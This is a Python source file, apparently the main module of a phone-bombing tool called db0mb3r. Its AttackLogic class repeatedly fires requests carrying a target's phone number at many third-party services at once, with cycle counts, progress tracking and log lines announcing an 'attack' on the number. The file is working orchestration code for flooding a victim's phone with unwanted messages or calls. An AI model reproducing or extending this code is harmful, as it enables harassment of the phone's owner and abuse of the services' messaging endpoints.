main.py 1.8 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859
  1. import asyncio
  2. from datetime import datetime
  3. from loguru import logger
  4. from db0mb3r.app.status import status
  5. from db0mb3r.service import prepare_services
  6. from db0mb3r.utils import await_with_callback
  7. class AttackLogic:
  8. def __init__(
  9. self, attack_id: str, number_of_cycles: int, country_code: int, phone: str
  10. ):
  11. self.attack_id = attack_id
  12. self.number_of_cycles = number_of_cycles
  13. self.country_code = country_code
  14. self.phone = phone
  15. @logger.catch
  16. async def perform_attack(self):
  17. try:
  18. await self._perform_attack()
  19. except asyncio.CancelledError:
  20. pass
  21. async def _perform_attack(self):
  22. services = prepare_services()
  23. usable_services = services.get(self.country_code, services["other"])
  24. status[self.attack_id]["started_at"] = datetime.now().isoformat()
  25. status[self.attack_id]["end_at"] = len(usable_services) * self.number_of_cycles
  26. logger.info(f"Starting attack {self.attack_id} on +{self.phone}...")
  27. for cycle in range(self.number_of_cycles):
  28. logger.info(f"Started cycle {cycle + 1} of attack {self.attack_id}")
  29. tasks = [
  30. await_with_callback(
  31. service(self.phone, self.country_code).run(),
  32. update_count,
  33. attack_id=self.attack_id,
  34. )
  35. for service in usable_services
  36. ]
  37. for task in asyncio.as_completed(tasks):
  38. await task
  39. logger.success(f"Attack {self.attack_id} on +{self.phone} ended")
  40. @logger.catch
  41. def update_count(attack_id: str):
  42. if status[attack_id]["currently_at"] is None:
  43. status[attack_id]["currently_at"] = 0
  44. status[attack_id]["currently_at"] += 1